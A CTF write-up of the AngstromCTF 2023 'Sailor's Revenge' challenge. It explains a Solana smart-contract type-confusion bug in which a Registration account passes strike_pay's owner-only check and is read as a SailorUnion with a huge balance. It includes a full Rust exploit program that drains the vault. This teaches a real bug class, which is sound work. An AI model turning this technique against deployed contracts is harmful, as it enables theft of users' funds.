Sailor's Revenge
05/04/2023
By: unvariant
Tags: pwn AngstromCTF-2023Problem Description:
After the sailors were betrayed by their trusty anchor, they rewrote their union smart contract to be anchor-free! They even added a new registration feature so you can show off your union registration on the blockchain!
Hints:
Reveal Hints
NoneTime spent figuring out how to compile attack script: ~6 hours Time spent actually exploiting: ~3 hours
Notice that in the strike_pay function they only validate that sailor_union.owner == program_id instead of checking the program address against the public key. The code makes the assumption that only the sailor_union account will have a owner of program_id.
let sailor_union = next_account_info(iter)?;
assert!(!sailor_union.is_signer);
assert!(sailor_union.is_writable);
assert!(sailor_union.owner == program_id);
The problem with this assumption is that in the register_member function it creates a new account attached to registration with the owner set to program_id.
invoke_signed(
&system_instruction::create_account(
&authority.key,
®istration_addr,
Rent::get()?.minimum_balance(ser_data.len()),
ser_data.len() as u64,
program_id,
),
&[authority.clone(), registration.clone()],
&[&[
b"registration",
authority.key.as_ref(),
&member,
&[registration_bump],
]],
)?;
This means we can pass registration instead of sailor_union into the strike_pay function. This is important because in the strike_pay function, they construct a SailorUnion struct from the account data.
pub struct SailorUnion {
available_funds: u64,
authority: [u8; 32],
}
let mut data = SailorUnion::try_from_slice(&sailor_union.data.borrow())?;
assert!(&data.authority == authority.key.as_ref());
if data.available_funds >= amt {
msg!("data.available_funds: {}", data.available_funds);
data.available_funds -= amt;
transfer(&vault, &member, amt, &[&[b"vault", &[vault_bump]]])?;
data.serialize(&mut &mut *sailor_union.data.borrow_mut())?;
Ok(())
The register_member function serializes a Registration struct into the data field instead of a SailorUnion
pub struct Registration {
balance: i64,
member: [u8; 32],
}
let ser_data = Registration {
balance: -100,
member,
// sailor_union: sailor_union.key.to_bytes(),
}
.try_to_vec()?;
The SailorUnion and Registraction structs are extremely similar, differing only by the signedness of the first field. If we pass the registration account into strike_pay instead of sailor_union, it will decode the negative balance in the data as a large u64, passing the check in strike_pay and allowing us to transfer an essentially arbitrary amount of lamports into any writeable account owned by the system.
Solve script
#![cfg(not(feature = "no-entrypoint"))]
use borsh::{BorshDeserialize, BorshSerialize};
use solana_program::{
account_info::AccountInfo, entrypoint, entrypoint::ProgramResult, instruction::{
Instruction,
AccountMeta,
},
program::invoke, pubkey::Pubkey,
msg,
log::{sol_log_compute_units, sol_log_params, sol_log_slice},
};
use sailors_revenge::processor::SailorInstruction;
entrypoint!(process_instruction);
fn process_instruction(
program_id: &Pubkey,
accounts: &[AccountInfo],
instruction_data: &[u8],
) -> ProgramResult {
// accounts
/* [0] -> program (sailors_revenge.so)
* [1] -> user
* [2] -> vault
* [3] -> sailor union
* [4] -> registration
* [5] -> rich boi
* [6] -> system program
*/
// for account in accounts {
// msg!("key: {:?}, signer: {:?}", account.key, account.is_signer);
// }
{
msg!("begin strike pay");
let accs = vec![accounts[4].clone(), accounts[1].clone(), accounts[1].clone(), accounts[2].clone(), accounts[6].clone()];
let instr_accounts = accs.clone().into_iter().map(|acc| AccountMeta {
pubkey: *acc.key,
is_signer: acc.is_signer,
is_writable: acc.is_writable,
}).collect();
/* first patch the chall library so SailorInstruction derives BorschSerialize */
let data = SailorInstruction::StrikePay(100_000_000).try_to_vec()?;
let strike_pay = Instruction {
program_id: *accounts[0].key,
accounts: instr_accounts,
data,
};
msg!("issuing strike pay");
_ = invoke(&strike_pay, &accs);
msg!("finished invoking strike pay");
}
Ok(())
}